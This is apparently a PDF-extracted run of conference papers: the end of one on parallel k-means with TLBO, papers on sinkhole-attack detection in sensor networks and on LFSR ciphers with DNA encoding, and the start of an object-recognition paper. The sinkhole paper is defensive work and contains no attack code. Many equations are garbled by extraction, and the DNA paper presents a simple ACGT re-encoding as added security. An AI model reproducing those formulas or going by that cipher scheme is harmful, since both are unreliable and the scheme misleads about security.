most knowledgeable person among the population, so the teacher is the best learner
in the entire population. Let Ytotal-lbest, k be the consequence of the best learner
among all the subjects; then this will be considered as instructor for the following
cycle. Knowledge gained by the learner depends on the teaching delivered by the
teacher in this phase and also the talent of the learner. The knowledge difference
between teacher result and mean result is

Mean Differencei;k ¼ rand Yi;lbest;k Tf Qik ð4Þ
where
‘Yi, lbest,k’ is the result of the teacher (i.e. best learner) in subject i.
“TF” is the teaching factor which chooses to what degree the mean value should
be changed.
‘rand’ is the irregular number which can be considered between [0–1].
TF quality is utilized either 1 or 2; the estimation of TF ought to be chosen
haphazardly as
TF ¼ round½1 þ rand ð0; 1Þ f2; 1g ð5Þ
TF is not a parameter of the TLBO calculation. The TF worth is not taken as data
to the calculation and its esteem is arbitrarily chosen by the above comparison, i.e.,
utilizing Eq. (5). Based on the Mean_Differencei,l,k, the current arrangement is
redesigned in the teacher stage according to the following expression.
0
Yi;l;k ¼ Yi;l;k þ Mean Differencei;l;k ð6Þ
0 0
Yi;lk is the updated quality Yi;l;k : Yi;l;k is acknowledged in the event that it gives
better function value. All the best capacity values are kept up towards the end of the
teacher stage and these values turn into info in the learner stage.
3.2.2 Learner Phase
In this phase, the learners gain knowledge by interacting or discussing among

themselves. A learner who has more information will share his or her knowledge to
the other learners so that they will learn new information. The learning process of
this phase is explained below.
Select two learners randomly from the population, suppose P and Q such that
0 0
YtotalP;k 6¼ YtotalQ;k
where
Y′total−P,k and Y′total−Q,k are the modified values of Ytotal−P,k and Ytotal−Q,k at the
end of teacher phase.

00 0 0 0 0 0
Yi;P;k ¼ Yi;P;k þ ri Yi;P;k Yi;Q;k if Yi;P;k \ Yi;Q;k ð7Þ

00 0 0 0 0 0
Yi;P;k ¼ Yi;P;k þ ri Yi;Q;k Yi;P;k if Yi;Q;k \Yi;P;k ð8Þ
00
Yi;P; k is accepted if it has a better function value.
4 Parallel K-Means with TLBO
4.1 Parallel K-Means
By analyzing the well-known k-means algorithm, parallel k-means needs one kind of
MapReduce job. The task of assigning each sample to the closest centroid can be
done using the map function and calculating the new centroid position can be done
using reduce function. In k-means, the most time consuming part is the distance
calculation part. We need to calculate distance between one sample and all centroids.
If the given dataset has n N-dimension samples and the desired cluster number is K, it
will need K*N distance calculations in each iteration. So, with the maximum iter-
ation number I, the total calculations needed to complete the clustering task will be
K*N*I. So we need to make this task of algorithm parallel. For this, first we need to
store the dataset in stable storage, i.e., HDFS, so that the dataset is split into number
of splits and globally broadcasted to all mappers. Consequently, distance calculation
can be executed in parallel in number of machines. Reduce function will calculate
the mean of all samples and give a new centroid position. The detailed explanation of
Map and Reduce functions is given below.
4.1.1 Map Function
Map task takes two parts; an input one is the dataset stored in HDFS [11, 12] and
takes k center points from the dataset. First, the dataset is split into number of splits
and each split will be sent to the mapper as <Key, Value> pairs. At each mapper it
calculates distance between one sample and all the centers and then assigns a
sample to the closest cluster according to the distance. The intermediate result are a
list of <key, Value> pairs where key is the id of the closest center and value is the
sample. To improve performance of the reducer partitioned by the key on the
mapper, it is then sent to the reducer.
4.1.2 Reducer Function
The input of the reducer is the intermediate result which is generated by the mappers.
The <key, Value> pairs which are having the same key will be sent to the same
reducer. The key is the id of the cluster, and value is the list of the sampler assigned
to the cluster. Then, reducer will sum all the samplers in the cluster and accumulate
the samplers which are having the same key. Then, by calculating the mean, the new
centroids will be generated. Then, the new centroids are sent for the next iteration.
• When the maximum number of iterations reached.
• Until there is no change of centroid position.
On the result of PK-means, the TLBO algorithm presented below will be
executed.
4.2 TLBO Algorithm
In the clustering concept, each and every particle can show the Nk cluster centroid
vector.
That is, each particle Yi is considered as follows:

Yi ¼ Ci1 ; Ci2; Ci3 . . .. . .: Cij . . .. . .. . .. . .. . .: CiNk
where Cij indicates to the jth cluster centroid vector of the ith particle in cluster.
For calculation of fitness of a particle, quantization error is used and it is mea-
sured using the following formula [10]
X
Je ¼ c d
V DC i;j
dv c j ð9Þ
where ‘dv’ is data vector, d is Euclidian distance of data vector, centroid and | Sij | is
the number of data vectors belonging to cluster Sij, i.e., the frequency of that cluster.
Using the standard TLBO, these data points can be clustered as follows:
1. Load each particle to contain Nk randomly selected cluster centroids.
2. For t = 1 to tm do
(a) For each and every particle i do
(b) For each and every data vector dv
i. calculate an Euclidean distance d(dv, Cij) to all centroids in Sij
Fig. 1 Parallel K-means with TLBO
ii. Accredit dv to cluster Sij such that
d ðdv ; Cij Þ ¼ min . . .. . .:Nkfd ðdv ; Cik Þg

V c¼1
iii. Calculate the fitness using Eq. ( 9)

(c) Update the mean values
(d) Cluster centroids are updated using Eqs. (6), (7), and (8).
where tm is the maximum number of iterations (Fig. 1).
Architecture of the proposed system is as follows.
The experiment is done on Hadoop cluster. It includes single node as well as

multi-node. First, it is performed on multi-node where one computer serves as
master node, i.e., namenode and jobtracker and other four systems work as slave
nodes. Second, it is performed on single node, i.e., the same computer acts as a
master as well as slave. All the nodes in the cluster have the same configuration,
i.e., 1CPU, 4 GB of RAM, and 500 GB of hard disk. To configure Hadoop
jdk-7u3-linux-i586 and Hadoop-1.0.4 is used. All the input dataset needed at the
time of execution are stored in HDFS, which is stable storage in advance.
Table 1 Intra-cluster distances

Algorithm Dataset Max Min Mean
Parallel K-means with TLBO 1 995.926 980.318 985.340
2 2451.213 2397.487 2417.348
3 3427.139 3367.805 3402.688
Parallel K-means 1 1025.834 1007.060 1016.421
2 2573.071 2524.293 2542.918
3 3598.905 3531.353 3559.339
K-Means 1 1028.120 1005.376 1014.267
2 2575.170 2521.744 2551.644
3 3603.29 3527.12 3565.911
To verify the result, the standard deviation of intra-cluster distance of k-means,

Parallel K-means, and Parallel K-means with TLBO are compared. The experiment
was performed on 3 sets of data: (1) 500 four dimensional samples for four clusters;
(2) 1000 four dimensional for four clusters, and (3) 1500 four dimensional data
samples for four clusters. For each set of data samples experiment is done multiple
number of times and the result will be captured and shown in Table 1.
For the efficiency of the algorithm for each data samples of 1, 2, and 3, tests will
be run by changing the Hadoop nodes for computation and compare the running
time of parallel k-means with TLBO, Parallel K-means, and K-means. We found
that for small data samples, the result of three algorithms are quite same but in case
of larger data samples the proposed algorithm gives better results.
6 Conclusions
Due to the problem with traditional k-means, parallel k-means based on MapReduce
and TLBO is proposed in this paper, to get the effective clustering result as well as
increase the performance of k-means. By using MapReduce, parallel computation
capability to make the algorithm work parallel on number of machines and the
global search capability of TLBO will make the algorithm not to be stuck at local
optimum result; so we can increase the effectiveness of the clustering result.
References
1. Sharma, S., ShikhaRai: Genetic K-means algorithm—implementation and analysis. Int.

J. Recent Technol. Eng. (IJRTE) 1(2), (June 2012). ISSN:2277-3878
2. Zhang, J.: A parallel clustering algorithm with MPI—MKmeans. J. Comput. 8(1), (January
2013)
3. Mummareddy, P.K., Satapathy, S.C.: An hybrid approach for data clustering using K-means
and teaching learning based optimization. In: Satapathy, S.C., et al. (eds.) Emerging ICT for
Bridging the Future, vol. 2, p. 165. Springer International Publishing, Switzerland (2015).
Adv. Intell. Syst. Comput, 338. doi: 10.1007/978-3-319-13731-5_19
4. Zhao, W., Ma, H., He, Q.: Parallel K-means clustering based on mapreduce. Springer, Berlin
Heidelberg (2009)
5. Fahim Ahmed, M.: Parallel implementation of K-means on multi-core processors. GESJ:
Comput. Sci. Telecommun. (2014)
6. Dean, J., Ghemawat, S.: MapReduce: simplified data processing on large clusters. In: Google
White Paper to Appear in OSDI (2004)
7. MapReduce [OL]: http:// en.wikipedia.org/wiki/MapReduce
8. Euclidean distance [OL]: http://en.wikipedia.org/wiki/Euclidean_distance
9. Step by Step K-Means Example: http://mnemstudio.org/clustering-k-means-example-1.htm
10. Satapathy, S.C., Naik, A., Parvathi, K.: A teaching learning based optimization based on
orthogonal design for solving global optimization problems. SpringerPlus 2, 130 (2013)
11. White, T., Hadoop: The Definitive Guide. O’reilly Media (June 2009)
12. Apache Hadoop [OL]: http://en.wikipedia.org/wiki/Apache_Hadoop
Detection of Sinkhole Attack in Wireless
Sensor Network
Imandi Raju and Pritee Parwekar
Abstract In this paper, we proposed an efficient rule-based intrusion detection

system for identifying sinkhole attacks in Wireless Sensor Networks (WSN). The
sensor nodes in network are deployed in various hostile environments. The nature
of WSNs is wireless and hence, security is the major challenging issue. Sinkhole
attack is the major common internal attack on WSNs. These attacks are performed
by creating a malicious node with the highest transmission range to the base station.
Then this node broadcast sends fake routing message to all its neighbor nodes. We
considered popular link quality-based multi-hop routing protocol named as
Mint-Route protocol. To identify sinkhole attack, we have implemented an IDS
system which consists of suitable rules. These rules will allow the IDS to detect the
malicious node successfully. We demonstrated this method in random dissemina-
tion of sensor nodes in WSNs. We experimented to confirm the accuracy of our
anticipated method.

Keywords Wireless sensor networks Security RSSI LQI Intrusion detection

system Sinkhole attacks
1 Introduction
The modern improvements in Micro-Electro-Mechanical Systems (MEMS) and

wireless media will lead to development of wireless sensor nodes which are low
power, multifunctional, and low-cost devices. These are small in size and will be
able to communicate short distances. And the group of these wireless sensor nodes
I. Raju (&) P. Parwekar

Anil Neerukonda Institute of Technology and Sciences, Visakhapatnam
Andhra Pradesh, India
e-mail: iraju.cm@gmail.com
P. Parwekar
e-mail: pritee.cse@anits.edu.in

630 I. Raju and P. Parwekar
is nothing but the Wireless Sensor Network (WSN). Each sensor node in WSNs is
an autonomous device, which means it has its own sensing, data processing, and
communication components. WSNs’ applications are military, disaster management
and rescue, environment monitoring, and smart homes. In the designing of WSN,
we have many challenging issues like communication, power consumption, secu-
rity, and scalability. One of the most important challenges in WSN faced today is
security. WSNs are hosted in various unfriendly environments and they are not
protected. Most of the steering protocols in WSNs do not deal with security per-
spectives due to resource constraints of the sensors nodes and this gives a chance to
the intruders to attack the sensor network. There are different types of attacks
possible in WSN. The most common attacks that will be possible on WSNs are [1]
jamming, impersonationating, alteration, denial of service (DOS) and message
replay, sinkhole attack, warmhole attacks, Sybil attacks, HELLO Flood, selective
forwarding, and spoofing attack.
This paper deals with the most impotent internal attack called sinkhole attack. In
this type of attack, an attacker compromises an existing node in the network or
brings a new external node, which has same capabilities of an existing node and
uses this compromised node to create the sinkhole attack [2].
In Fig. 1a represents the sensor network demonstration prior to a sinkhole attack.
If node id 3 wants to communicate to the base station, it can send information only
through node id 1 or node id 2. In the above figure, node id 2 can be selected as a
parent to node id 3 because node id 2 has the shortest distance to the base station. In
Fig. 1b Node id 1 is the compromised node now; it announces that it has the
shortest path to the base station to all of its neighbors. This reflects node id 3 to
change its parent and route the packets through node id 1 to the base station [9].
If the intruder succeeds in launching the sinkhole attack, then the compromised
node will attract all the traffic from neighboring nodes to choose this node as a
parent node. For attracting the neighboring nodes, the compromised node will use
the cost metric of Mint-Route protocol. Sinkhole attacks are the network layer
attacks. In this, the compromised node will broadcast false link quality information
to all its surrounding nodes. In this paper we considered popular link quality-based
Fig. 1 Sinkhole attack
Detection of Sinkhole Attack in Wireless Sensor Network 631
multi-hop routing protocol named as Mint-Route protocol of TinyOS [6]. For the
calculation of link quality, each and every node will periodically transmit the route
update packet to all its neighbors.
Intrusion detection is the process of discovering, analyzing, and reporting
unauthorized activities in a network. Intrusion detection discovers violations of
integrity, confidentiality, availability of data, and availability of resources in the
network. Intrusion detection in WSNs is useful for identifying an intruder, an
attacker who has gained control of a sensor node, or injected false data or recurring
packets into the sensor network.
2 Related Work
We have the following related work in the domain of intrusion detection system in
wireless sensor networks.
Krontiris proposed a new intrusion detection system (IDS) for detecting sinkhole
attacks in WSN. This IDS is based on distributed rules [4]. They have implemented
two rules in their IDS. The IDS generates an alert message in event of violation of
any rule by one or more sensor nodes. The two rules that have been defined are:
Rule1: “Generate and transmit an alert message to all the neighbors in case the
sender filed node id matches with your node.” Rule2: “For every incoming route
update packet find whether the sender filed node id matches with one of your
neighbor’s node id. If any mismatch is found, then generate an alert message and
broadcast it to all of your surrounding nodes.” After receiving all the alert mes-
sages, each and every sensor node will do an intersection operation between the
node list appeared in the alert messages and its own neighbor’s node list. In the final
set, each node is left with single node and that is the attacker node.
Md. Ibrahim Abdullah, Mohammad Muntasir Rahman, and Mukul Chandra Roy
proposed a novel system [5] that considers the hop-count value. Each and every
node will calculate its hop-count value based on its distance from the base station.
The main benefit of this method is that it will detect the sinkhole attack without any
participation of the base station. This technique will use the neighbors of each and
every node. The anticipated system whenever a falsified node broadcasts a lowest
hop-count value, then each and every neighbor particular node will compare with
the lowest hop-count value present in their database. Each and every node will
arrange all the hop-count values of its neighbors in the ascending order. Then
sensor node will calculate the average hop-count value without considering the
lowest hop-count value. If the lowest hop-count value is petite than the average
hop-count value, then it is an irregularity.
Tumrongwittayapak and Varakulsiripunth proposed a new method [6] that
considers the Received Signal Strength Indicator (RSSI) value, which is computed
with the support of extra supervising (ES) nodes to identify the sinkhole attacks. ES
nodes have the best transmission assortment to the base station. The main work of
these ES nodes is to determine the RSSI of sensor nodes which are sending packets.
This information is sent to the base station in the form of source id and its next node
id. This process occurs dynamically when sensor nodes are deployed. The base
station utilizes this value to estimate a visual geographical map (VGM). When the
ES broadcasts the renovated RSSI values, the VGM represents the location of each
node. Then base station discovers a diverge in packet flow from former data and a
sinkhole attack is detected. The malicious node is recognized and secluded from the
network by the base station with the help of VGM value.
3 Proposed Work
3.1 Network Assumptions
In the proposed method, we have assumed a sensor network which has single base
station, and the nodes are placed in a random manner using random distribution
technique. The nodes in the network are easily recognized using the coordinates.
Position of the nodes cannot be changed after distribution. Nodes do not have any
special hardware to protect from the attacks. We considered that the base station
have a trusted mechanism to defend the attacks. So we considered the base station
as a decision maker. The entire sensor network uses the Mint-Route protocol to
transfer the data to the base station. We have made one particular node as an
attacking node. This offensive node will also be involved in building routing tree to
the base station. And hence, this attacking node will keep wrong information in the
link quality filed of route update packet.
3.2 Mint-Route Protocol
In TinyOS the most widely used routing protocol is Mint-Route [6] protocol.
Mint-Route protocol uses a route update packet which is generated at the base
station. This route update packet will help in building the routing tree towards the
base station. Route updates begin at the base station and cover all of the nodes in
the network by forwarding the message to all of its neighbors. The nodes will make
a decision about its parent by selecting a surrounding node, which is having the
smallest hop-count value to the base station. If any two nodes have the same
hop-count value then the node having the maximum link quality is selected. The
link quality is determined based on the packets dropped over the link. There are
many ways to calculate the link quality and they are RSSI and peer-to-peer delay.
Trusting mechanism is not present in Mint-Route protocol. Thus, the sensor nodes
are unable to identify whether any of its surrounding node is saying false link
quality or not.
3.3 Received Signal Strength Indicator (RSSI)
We can measure the signal strength at the receiver end by using the RSSI [7, 8]
techniques. The RSSI values are used mostly in radio frequency signals in wireless
environments, and the measuring unit is dBms. In the sensor network, any two
neighboring nodes are connected in a bidirectional manner. We can achieve this
using the path loss model [3], mainly used to create an environment of wireless
channel. By using proficient propagation loss and multipath propagation [7], we can
compute the distance between the dispatcher and the recipient. The log normal
shadowing model [3, 7] is most generally used in signal propagation model shown
below:
distanceði; jÞ ¼ sqrtððnode coordðj; 1Þ node coordði; 1ÞÞ^ 2 þ ðnode coordðj; 2Þ

node coordði; 2ÞÞ^ 2Þ;
ð1Þ
rssði; jÞ ¼ PATH LOSS 10 n log 10ðdistanceði; jÞ=d0Þ Xr; ð2Þ
where, d0 is the path loss for a distance d0, n is the path loss exponent, and Xσ is a
Gaussian random variable in (dB) with standard deviation σ (also in dB). Here we
use d0 = 8 and n = 3.3.
3.4 Hop-Count Value Creation Algorithm [5]
1. The base station sends a HELLO packet to all its neighboring nodes. The
hop-count (hc) value field of this packet is 0.
2. Each and every node after receiving this packet from base station will increase
the hop-count value field by one and forward it to all its neighboring nodes.
3. The surrounding nodes verify the hop-count value field and broadcast it to all its
neighboring nodes except to the node which it has received.
4. Each and every node makes a database of all the received messages. The fields
of this database are the Node ID and exact value of hop-count to BS.
5. This procedure is repeated in the network.
3.5 Routing Tree Generation Algorithm
1. Randomly deploy N number of sensor nodes.

2. Find the positions of all the nodes.
3. Identify the neighbors based on R (range).

4. Find the hop-count value of each and every node with respect to Base Station
(BS).
5. Select parent node based on the following rules
(a) Select a node which is having less hop-count value with respect to BS as
parent
6. If any two or more nodes are having same hop-count (hc) value, then select
parent-based Nrssi.
7. Generate the routing tree based on parent node Fig. 3b.
3.6 Sinkhole Attack Detection Algorithm
1. Deployed N nodes with random distribution

2. Routing tree is generated [3.5]
3. For every iteration of the experiment, choose one particular node to create a
sinkhole attack.
Apply the following rules:
Rule 1 For every incoming route update packet, check the hop-count value with
the parent if it’s less than the parent, send alert message.
Rule 2 For every incoming route update packet, check the Nrssi. values with
parent. If the values are better than the parent node values then generate an alert
message.
4. Base station does the analysis to find the sinkhole id. If an attack is detected, a
detection of node message will be broadcasted in the network.
In the proposed method the route update packet consists of four fields as shown
in Fig. 2. Initially the sensor network is established without any intruder node. For
each iteration, we will consider one node as an intruder node. This intruder node
broadcasts the route update packet to all its neighbors. In this route, update packet
and the intruder can manually change the cost parameter. The neighbors which are
capable of receiving the route update packet will compare the cost of their parent
and cost present in the route update packet. If the cost present in the route update
packet is less than the parent cost then the neighbor nodes will enable the alert field.
Then this packet is forwarded to the base station using multi-hop mechanism. Each
node will add its node id in the field of forward node id. Upon receiving all the alert
Node Forward
Cost Alert
id Node id
Fig. 2 Route update packet fields
packets the base station will perform the intersection of all the alert packets within a
specified time limit. Finally, intruder node is detected and base station will
broadcast the node id to prevent the network flow.
To check the rate of success of our proposed method, we have experimented on a

rectangular flat space of 500 m × 500 m. We distributed 15 sensor nodes in a
random manner. The deployed nodes are uniquely identified through the coordi-
nates of flat space. For each iteration we have chosen one particular node as a
sinkhole attacking node. The hop-count and Nrssi values of these attacking nodes are
manually changed (Table 1).
The proposed algorithm is correctly identifying the sinkhole attack without an
extra load on the network. We are manually creating one intruder in our experiment;
we have considered node 14 as an intruder. Our proposed method is successfully
identifying node 14 as an intruder. We used MATLAB software to simulate the
sensor network and the proposed method. The following Fig. 3 will show you the
entire sensor field. The connection between the two nodes is based on the radio
range of the sensor node (Fig. 4).
Table 1 Parameter settings Sensor field area 500 m × 500 m

Number of nodes 15
Radio range (r) 200 m
Fig. 3 Simulation setup. a Node distribution. b Routing tree
Fig. 4 Sinkhole attack
5 Conclusion
In this paper the proposed algorithm is to identify the sinkhole attack in wireless
sensor networks. The proposed method utilizes hop-count and Nrssi for identifying
malicious nodes. The algorithm is successful in detecting multiple sinkhole attacks.
The main advantage of this method is that it will not require any additional hard-
ware to detect the sinkhole attack.
References
1. Tumrongwittayapak, C., Varakulsiripunth, R.: Detecting Sinkhole attacks in wireless sensor

networks. ICROS-SICE International Joint Conference, pp. 1966–1971 ((2009))
2. Venkatraman, K., Vijay Daniel, J., Murugaboopathi, G.: Various attacks in wireless sensor
network: survey. Int. J. Soft Comput. Eng. (IJSCE). 3(1), (2013). ISSN:2231-2307
3. Parwekar, P., Reddy, R.: An efficient fuzzy localization approach in wireless sensor network.
Fuzzy Digital Object Identifier, pp. 1–6 (2013). 10.1109/FUZZ-IEEE.2013.6622548Publication
4. Ioannis, K., Tassos, D., Thanassis, G., Marios, M.: Intrusion detection of sinkhole attacks in
wireless sensor networks. Algorithmic Aspects Wireless Sensor Networks Lecture Notes
Comput. Sci. 4837, 150–161 (2008)
5. Md. Ibrahim, A., Mohammad, M.R., Mukul, C.R.: Detecting sinkhole attacks in wireless sensor
network using hop count. I. J. Comput. Network Inform. Secur. 3, 50–56 (2015)
6. Levis, P., Madden, S., Polastre, J., et al.: TinyOS: an operating system for sensor networks.
Springer, Berlin Heidelberg (2005)
7. Pahlavan, K., Li, X.: Indoor geo-location science and technology. IEEE Commun. Mag. 40(2),
112–118 (2002)
8. Umashri, K., Dr. Nalini, N.: Detecting sinkhole attack in wireless sensor networks. Int.
J. Scient. Eng. Res. 5, 6, (2014)
9. Junaid, A.C., Usman, T., Mohammed, A.A., Rittenhouse, R.G.: Sinkhole vulnerabilities in
wireless sensor networks. Int. J. Security Appl. 8(1), 401–410 (2014)
Enhancement of Stream Ciphers Security
Using DNA
B. Ramesh, S.A. Bhavani and P. Muralidhar
Abstract This paper considers the problem of cryptanalysis of cipher streams.

There are some tasks that improve the existing attacks and attempt to make eminent
the partitions of ciphertext resulted by the encryption of plain text in which parts of
the text are arbitrary and non-arbitrary. This paper delivers a tutorial of symmetric
cryptography using LFSR with DNA prospective. The essential information
speculative and computational properties of classic and contemporary crypto-
graphic systems are exhibited, followed by scrutinization of the application of
cryptography to the security of VoIP regularity in network organizations using
LFSR scenario with the help of DNA using Bio-informatics. The implementation
program is developed by java2.

Keywords Information security Linear feedback shift register DNA algorithms
1 Introduction
Information Security is the mechanism which is used to secure the data whenever
the transmission is going through the internet. This is defending confidential
information from unauthorized access, use, revelation, confusion, softening, and
dismantling. This mechanism started since the early days of communication;
ambassadors and army commanders understood that it was necessary to provide
B. Ramesh (&) S.A. Bhavani P. Muralidhar

Department of Computer Science and Engineering,
Anil Neerukonda Institute of Technology and Sciences, Sangivalasa,
Bheemunipatnam [M], Visakhapatnam, India
e-mail: balidi.ramesh@gmail.com
S.A. Bhavani
e-mail: sabhavani.cse@anits.edu.in
P. Muralidhar
e-mail: vijayamuralisarma@gmail.com

638 B. Ramesh et al.
some mechanism to protect the confidentiality of correspondence and to have some

means of detecting tampering. If the confidentiality is lost, then the information will
be unsecured. To overcome the problem of confidentiality, we are following the
cryptography mechanism.
In this paper, we need to follow the symmetric cryptography, because voice
communication having plain audio streams. According to these audio streams,
stream ciphers will be generated. These streams have converted binary digits. From
these bits, the encryption program will take one bit at a time. Because this is a
synchronous communication, there should be both encryption and decryption for a
single bit at an instance of time.
Data communication is both the synchronous and asynchronous communication.
Voice communication is synchronous communication. In this, voice communica-
tion synchronization is a primary challenge. While communication is going on, if
both sender and receiver parties are not synchronized, the communication will be
entirely collapsed [1].
There are several mechanisms for securing information in data communication.
Coming to the voice communication, security mechanisms are less. There are
efficient algorithms for the data encryption. According to the speech or voice
encryption, there are some algorithms providing security to the speech, but they are
not fully efficient. As speech communications become widely used and even more
unprotected, the importance of providing a high-level security is substantially
increasing [1]. As such, a variety of voice encryption techniques have been intro-
duced. The linear feedback shift register (LFSR) has been the most compatible
encryption technique extensively used in voice communication, and here, this paper
intends to provide high-level security to the stream ciphers by enhancing the LFSR
algorithm with DNA Algorithm.
Remaining sections of this paper are described as follows: Sect. 2 describes the
related works based on various subsections like existing works related to how
LFSR works, DNA algorithm, etc. Section 3 describes the proposed architecture
and algorithm. Results and observations have been reported in Sect. 4, and finally
we conclude this paper in Sect. 5.
2 Existing Work
This section is mainly divided into two subsections described as follows.
2.1 Background of Linear Feedback Shift Register
The following are the existing works for LFSR technique. LFSR is compatible for
the voice communication because speech has continuous audio streams. It encrypts
single bit in the form of binary digits of a plain text at instant time. In this
Enhancement of Stream Ciphers Security Using DNA 639
technique, the key will be generated based on the pseudorandom number. Take one
random number according to the plain stream size and convert that into binary
digits. In linear feedback shift register, there are two main functions namely “shift”
and “feedback” to generate key streams. By applying these functions on random
number bits, we can get the key.
In shift function, the original position of the bits will be changed by performing
either left shift or right shift operation on key stream bits. After this operation
performed, there is one empty position which will be available at either left most or
right most based on the shift operation. This empty position will be occupied by the
newly generated bit using feedback function. There are several number of feedback
functions.
Example 1: Exclusive-OR operation: in this, we can perform the exclusive-OR
operation on parity bit occurred by performing shift operation and the fixed position
bit in that key stream selected by us. Example 2: Even or odd parity: in this, the
empty position will be filled by parity-based method. Example 3: Modulo by 2: in
this, the empty position bit will be generated by converting the remaining bits into
decimal number and dividing that number by 2, and the occurred result will be
placed in empty position.
LFSR algorithm generates stream ciphers according to the plain text and
encrypts the plain text by performing XOR operation between plain text and key
streams. Then the obtained encrypted data is called Ciphertext (Ci):
Ci ¼ Pi Ki:
Here, streams of plain text are Pi = P1, P2, P3,……., Pn.

Similarly, key streams are Ki = K1, K2, K3,………., Kn.
2.2 Background Works for DNA Algorithm
There is another technique that we used is DNA encryption. Friedrich Miescher and
James D are the first to discover DNA.
DNA encryption is a novel technology used to provide a high-level security to
the information. DNA has a unique identity. DNA follows symmetric cryptography.
In the process of providing high-level security to the information, DNA algorithms
are sufficient. Natural DNA is obtained from biological sources [2]. This contains
data obtained from more conventional binary storage media; input and output of the
DNA data can be moved to conventional binary storage media by DNA
chip. Binary data should be encoded in DNA strands in the form of an alphabet of
short oligonucleotide [3] sequences (Fig. 1).
In an encryption technique, DNA prospective is not fully implemented, because
the research on this technique is still going on. Our assumption of the DNA concept
is far away from the real-time DNA and theoretical concept. In this DNA
Fig. 1 Structure of DNA
cryptography, we cannot apply the real-time molecules directly. This is the challenge
still in the present. Basically, the DNA seems to be double-stranded molecules. In
these molecules, two strands are held together and form a double-helical [4] structure
using bonds between two complementary A and T or C and G. Double-helix
structure was found by Watson and Francis Crick, that is why this structure is called
as Watson-Crick complementary. Using this oligonucleotide sequence (ACGT), the
encryption process should be done.
3 Proposed System
3.1 Architecture
This section describes the architecture of the cryptography for voice communication
using the algorithm proposed (Fig. 2).
This architecture involves the mechanism of both encryption and decryption
modules. Here, the input is audio streams which are converted into binary format.
This binary formatted stream is considered as the plain streams.
Here are the two modules used to generate the cipher streams according to the
plain streams. First, module encryption involves the strategy of plain streams
encryption using LFSR algorithm. After getting the first phase of cipher stream, it is
given as input to the second encryption module. In this phase, the encryption
Plain text Cipher text 1
Cipher text 2
TCP/IP protocol
Plain text Cipher text 1
Fig. 2 Architecture
strategy approaches the DNA method. This DNA method has the oligonucleotide
sequence for re-encryption phase.
After this two-phase encryption, the ciphertext will be ready to transfer. At the
decryption phase, the received cipher stream is decrypted into plain stream using
the regarding algorithmic scenario.
3.2 Proposed Algorithm
This section justifies the algorithm for voice cryptography. The existing LFSR
algorithm is used to the first phase of encryption module. Here, the input binary
streams are converted into cipher streams by performing the XOR operation on
plain stream and key stream. In this initial phase, this LFSR algorithm generates
key streams by following the algorithmic functions which are shift and feedback.
Then the result of the first-phase encryption is cipher stream1. This is the input to
the second-phase encryption.
The second phase has DNA prospective methodology. This follows the oligo-
nucleotide sequence to re-encrypt the cipher stream1 generated by LFSR module.
Here, the input file is in the form of binary digits. These binary digits are converted
into the DNA sequences like ACGT [3]. The output will be in the form of DNA
sequence. This is the second-phase encryption.
Decryption process follows the reverse order of the encryption algorithm. After
receiving the cipher stream2, the decryption algorithm of DNA will be converted
into the binary cipher stream. This cipher stream1 is used as input to the decryption
algorithm of LFSR. Finally, the result will be in plain stream which is able to
generate the audio stream.
Table 1 Observations and results

S. no Input Operation Output
1 Audio file Binary conversion Result in 0s and 1s
2 Binary stream LFSR encryption Encrypted binary stream
3 Encrypted binary stream DNA encryption DNA cipher
The entire algorithm is explained below:

Step 1: consider the audio file.
Step 2: convert the audio file into binary format. This is in the form of streams.
Step 3: select one random number and convert that into binary format size of plain
audio stream. This is the key stream.
Step 4: perform an exclusive-or operation on these plain stream and key streams.
The result is the cipher stream.
Step 5: now the key should be changed by performing the shift and feedback
functions of LFSR.
Step 6: the obtained ciphertext will be re-encrypted by the DNA sequences. The
result will be in the form of ACGT sequence.
Step 7: repeat the steps 5 and 6 until the end of audio streams.
Step 8: send the obtained result to the receiver.
Step 9: receiver converts the received DNA sequence into binary cipher stream.
Step 10: give the result as input to the LFSR decryption and convert that cipher
stream into plain binary stream.
Step 11: convert this bit format into the audio streams.
4 Results and Observations
To demonstrate the efficiency and security enhancement of this algorithm, we taken

the audio file as input file and converted it into the binary streams. Then this binary
file is encrypted using LFSR algorithm and re-encrypted into the DNA sequence
(Table 1).
5 Conclusion
This paper concludes that the security mechanisms of stream ciphers are not fully
efficient, because of voice communication which is synchronous communication.
Here, the synchronization is the primary challenge. Most probably, the attackers
should attack on the stream ciphers with an intention to break secrecy of infor-
mation. LFSR is mostly compatible for the stream ciphers, but it is not fully
accurate because it has simple calculations. So, we extended the security to these
stream ciphers using DNA [5]. Proposed algorithm is a combination of LFSR and
DNA security mechanisms. This is the algorithmic proposal to provide a high-level
security to voice communication.
References
1. Win, T.L., Kyaw, N.C.: Speech encryption and decryption using Linear Feedback Shift
Register. World Acad. Sci. Eng. Technol. 24, 462 (2008)
2. Gao, Q.: A few DNA-based security techniques. In: Systems, Applications and Technology
Conference (LISAT). IEEE, Long Island (2011)
3. Soni, R., Prajapati, G.: A modern review on DNA cryptographic techniques. Int. J. Adv. Res.
Comput. Sci. Softw. Eng. 3(7), 2013
4. Cui, G., Qin, L., Wang, Y., Zhang, X.: An Encryption Scheme Using DNA Technology. 08/©
2008 IEEE
5. Merit, K., Ouamri, A.: Securing speech in GSM networks using DES with Random Permutation
and Inversion Algorithm. Int. J. Distrib. Parallel Syst. (IJDPS) 3(4), 99–110 (2012)
Object Recognition with Discriminately
Trained Part-Based Model on HOG
(Histogram of Oriented Gradients)
Thanikonda Alekhya and S. Ranjan Mishra
Abstract The object recognization techniques which are available at present

cannot process the partial visible objects and cannot classify them depending on the
shape. This is the main objective of my proposed system which is to recognize the
object from the image if any parts of the object are visible using discriminative
part-based model .The main objectives of this work was to apply the coarse root
filter method and get the high-resolution parts that are converted into deformable
models and are stored in training dataset. An object can be identified by matching
with deformable cost of the object model present in the training dataset.

Keywords Object detection Coarse root filter Deformable model HOG
(Histogram of oriented Gradients)
1 Introduction
Object recognition is the significant test in the field of computer vision. We consider
the issue of perceiving the objects from a portion of the classifications, for instance,
people, automobiles or bikes, or structures in static pictures. This is a hard issue
because the problems under these contemplations can shift significantly in angle.
Changes emerge due to light and perspective, but also from the non-rigid deformation
and intraclass instability in shape and other visual properties. For instance, individuals
are in variety of shapes and take photographs in various stills, while vehicles such as
autos and bicycles come in variety of shapes. The framework what we have proposed
can distinguish objects that represent highly inconsistent objects utilizing a mixture of
T. Alekhya (&) S. Ranjan Mishra

Anil Neerukonda Institute of Technology and Sciences, Sangivalasa,
Bheemunipatnam [M], Visakhapatnam, India
e-mail: alekhya.thanikonda@gmail.com
S. Ranjan Mishra
